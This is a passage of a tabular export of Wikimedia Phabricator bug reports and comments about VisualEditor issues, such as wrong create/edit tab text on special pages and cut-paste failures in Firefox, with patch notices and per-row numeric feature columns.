https://gerrit.wikimedia.org/r/82744",,,1378325288,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.636363636363637,0.9545454545454546,"Change 82744 had a related patch set uploaded by Jforrester:
Reference core bug 53774 in bug 49000 comment

GERRIT_URL"
233031,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?","(In reply to comment #12)
> I think I can still see this?
> http://en.wikipedia.org/wiki/Special:WhatLinksHere/Esempio 
> Thanks.

This is caused by (core) bug 53774 which we will need to fix.",,,1378325065,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,13.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,16.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,10.0,0.0,6.0,0.0,3.0,13.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.903225806451613,0.7741935483870968,"(In reply to comment #12)
QUOTE
QUOTE
QUOTE

This is caused by (core) bug 53774 which we will need to fix."
233024,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?","I mean, as the page does not exist, shouldn't that read Create source instead, as in http://en.wikipedia.org/wiki/Esempio ?",,,1376398189,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,5.0,0.0,0.0,0.0,5.0,0.0,18.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,14.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3181818181818183,0.8636363636363636,"I mean, as the page does not exist, shouldn't that read Create source instead, as in URL ?"
233019,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?","I think I can still see this? http://en.wikipedia.org/wiki/Special:WhatLinksHere/Esempio 
Thanks.",,,1376398041,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8333333333333335,0.9166666666666666,"I think I can still see this? URL 
Thanks."
233013,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?",Now fixed and deployed.,,,1375423076,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Now fixed and deployed.
233005,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?","Change 77165 had a related patch set uploaded by Catrope:
Move edit tab generation into PHP and make it more configurable

https://gerrit.wikimedia.org/r/77165",,,1375414268,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,4.0,8.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.56,1.0,"Change 77165 had a related patch set uploaded by Catrope:
Move edit tab generation into PHP and make it more configurable

GERRIT_URL"
232999,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?","Change 77253 merged by jenkins-bot:
mw.ViewPageTarget.init: Fix pageExists/isViewPage behaviour

https://gerrit.wikimedia.org/r/77253",,,1375401594,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,39.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.555555555555555,0.9444444444444444,"Change 77253 merged by jenkins-bot:
mw.ViewPageTarget.init: Fix pageExists/isViewPage behaviour

GERRIT_URL"
232993,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?","Change 77253 had a related patch set uploaded by Esanders:
Fix pageExists/isViewPage behaviour

https://gerrit.wikimedia.org/r/77253",,,1375397553,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,"Change 77253 had a related patch set uploaded by Esanders:
Fix pageExists/isViewPage behaviour

GERRIT_URL"
232986,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?","Change 77246 merged by jenkins-bot:
Fix edit links on special pages

https://gerrit.wikimedia.org/r/77246",,,1375395744,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.117647058823529,1.0,"Change 77246 merged by jenkins-bot:
Fix edit links on special pages

GERRIT_URL"
232979,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?","Change 77246 had a related patch set uploaded by Esanders:
Fix edit links on special pages

https://gerrit.wikimedia.org/r/77246",,,1375395639,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.4,1.0,"Change 77246 had a related patch set uploaded by Esanders:
Fix edit links on special pages

GERRIT_URL"
232971,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?","More importantly, it lets you load VE dynamically, which it shouldn't.",,,1375394378,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,20.0,0.0,7.0,0.0,0.0,0.0,20.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.8666666666666667,"More importantly, it lets you load VE dynamically, which it shouldn't."
232965,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?",Also show on Special:Whatlinkshere (e.g. https://it.wikipedia.org/wiki/Speciale:PuntanoQui/Wikipedia ),,,1374948629,,PHID-USER-myojicphhrv5eiqtoq52,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,1.0,Also show on Special:Whatlinkshere (e.g. URL )
232960,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?","Also shown on Special:Undelete, after the page has been restored.

i.e. ""User:John Vandenberg/test has been restored"" has tabs: Read | Edit | Create source | View history",,,1374804903,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,26.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.717948717948718,0.7692307692307693,"Also shown on Special:Undelete, after the page has been restored.

i.e. ""User:John Vandenberg/test has been restored"" has tabs: Read | Edit | Create source | View history"
232954,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?","Confirmed. It says ""Read | Edit | Create source | View history"".

https://www.mediawiki.org/wiki/Special:MovePage/Sandbox",,,1374515509,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,39.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2222222222222223,0.7777777777777778,"Confirmed. It says ""Read | Edit | Create source | View history"".

URL"
232948,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?",--> VisualEditor,,,1370441741,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,1,True,,,-4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,5.0,1.0,--> VisualEditor
50993,VisualEditor: Formatting styles drop down menu rendered behind the page title,"On http://www.mediawiki.org/wiki/VisualEditor:Test when clicking on the drop down menu for styles, the title of the page is still visible

http://i.imgur.com/O3OvK3w.png

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1369942140,1370632871.0,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-3ovbcuxkngbjxrroevib,task_description,resolved,True,c1,1,False,False,True,-5,,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,2.0,12.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.8,0.675,"On URL when clicking on the drop down menu for styles, the title of the page is still visible

URL

--------------------------
**Version**: unspecified
**Severity**: normal"
232546,VisualEditor: Formatting styles drop down menu rendered behind the page title,*** Bug 49430 has been marked as a duplicate of this bug. ***,,,1370970446,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3ovbcuxkngbjxrroevib,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49430 has been marked as a duplicate of this bug. ***
232542,VisualEditor: Formatting styles drop down menu rendered behind the page title,Thanks for the bug report; this is now fixed in wmf6 which was released yesterday to MediaWiki.org and will be available everywhere by the end of next week.,,,1370632871,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3ovbcuxkngbjxrroevib,task_subcomment,,True,c1,2,True,,,-4,,0.0,0.0,0.0,7.0,0.0,10.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,17.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,23.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,7.0,10.0,7.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.3,0.9666666666666667,Thanks for the bug report; this is now fixed in wmf6 which was released yesterday to MediaWiki.org and will be available everywhere by the end of next week.
50974,VisualEditor: MWTemplateDialog should visually distinguish between wikitext and template name,"Screenshot while editing template with wikitext-generated target

--------------------------
**Version**: unspecified
**Severity**: enhancement

**Attached**: {F11029}",Medium,50.0,1369920600,1668706778.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-caprohhe57u5cvvih5r4,task_description,duplicate,True,c1,1,True,False,False,-5,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.27027027027027,0.5945945945945946,"Screenshot while editing template with wikitext-generated target

--------------------------
**Version**: unspecified
**Severity**: enhancement

**Attached**: {F11029}"
231572,VisualEditor: MWTemplateDialog should visually distinguish between wikitext and template name,"A different icon seems somewhat undiscoverable, but not sure what better way to do this. Possibly call them ""Auto: <foo>"" rather than just ""<foo>""? Making the name italics?",,,1369926881,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-caprohhe57u5cvvih5r4,task_subcomment,,True,c1,1,True,,,-5,,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,15.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,5.0,2.0,5.0,10.0,0.0,2.0,0.0,2.0,2.0,2.0,2.0,2.0,0.0,5.0,3.5365853658536586,0.8292682926829268,"A different icon seems somewhat undiscoverable, but not sure what better way to do this. Possibly call them ""Auto: <foo>"" rather than just ""<foo>""? Making the name italics?"
50960,VisualEditor: Cut-Paste of paragraphs seems broken in Firefox,"Problem 1:

1. Open [[User:Ssastry]]
2. Select Paragraph 3 completely.
3. Ctrl-X
4. Move to beginning of Paragraph 2.  Hit Enter.
5. Ctrl-V on empty line

The paragraph gets pasted on the same line as Paragraph 3.  

Problem 2:

Steps 1-3 and 5. are identical.  Step 4 is different:
4. Move to end of Paragraph 1, hit enter key,

The paragraph gets pasted *before* paragraph 1.  Additionally, on review-and-save, paragraph 1 is lost.  This is not a Parsoid issue -- the edited HTML is missing the paragraph.

This problem seems specific to Firefox.  Cannot reproduce on Chrome.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1369888320,1372007590.0,PHID-USER-slccyo5rqasgpljxny7g,False,,False,PHID-TASK-2qamjq3crlikvr3nahtr,task_description,resolved,True,c1,1,True,False,True,-5,,0.0,0.0,0.5,0.5,1.0,5.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,4.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,10.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.5,2.5,17.0,0.0,1.0,4.5,0.0,0.0,0.0,0.0,4.0,0.0,6.5,0.0,0.0,6.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,4.5,3.235632183908046,0.5632183908045977,"Problem 1:

1. Open [[User:Ssastry]]
2. Select Paragraph 3 completely.
3. Ctrl-X
4. Move to beginning of Paragraph 2.  Hit Enter.
5. Ctrl-V on empty line

The paragraph gets pasted on the same line as Paragraph 3.  

Problem 2:

Steps 1-3 and 5. are identical.  Step 4 is different:
4. Move to end of Paragraph 1, hit enter key,

The paragraph gets pasted *before* paragraph 1.  Additionally, on review-and-save, paragraph 1 is lost.  This is not a Parsoid issue -- the edited HTML is missing the paragraph.

This problem seems specific to Firefox.  Cannot reproduce on Chrome.

--------------------------
**Version**: unspecified
**Severity**: normal"
230654,VisualEditor: Cut-Paste of paragraphs seems broken in Firefox,This was fixed in the re-write of copy-and-paste; sorry we didn't update this bug until now.,,,1372007590,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2qamjq3crlikvr3nahtr,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.08,0.92,This was fixed in the re-write of copy-and-paste; sorry we didn't update this bug until now.
230651,VisualEditor: Cut-Paste of paragraphs seems broken in Firefox,Firefox 21.0,,,1370319799,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-2qamjq3crlikvr3nahtr,task_subcomment,,True,c1,1,True,,,-4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.0,Firefox 21.0
230647,VisualEditor: Cut-Paste of paragraphs seems broken in Firefox,"(In reply to comment #0)
> This problem seems specific to Firefox.  Cannot reproduce on Chrome.

